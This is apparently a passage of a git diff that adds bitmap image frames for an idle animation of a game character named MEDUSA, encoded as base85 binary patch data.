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 z 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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE26.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE26.bmp new file mode 100644 index 0000000000000000000000000000000000000000..0e5d33dfc8cb7760cfdf06ca1fd9150bc7b962e8 GIT binary patch literal 18462 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 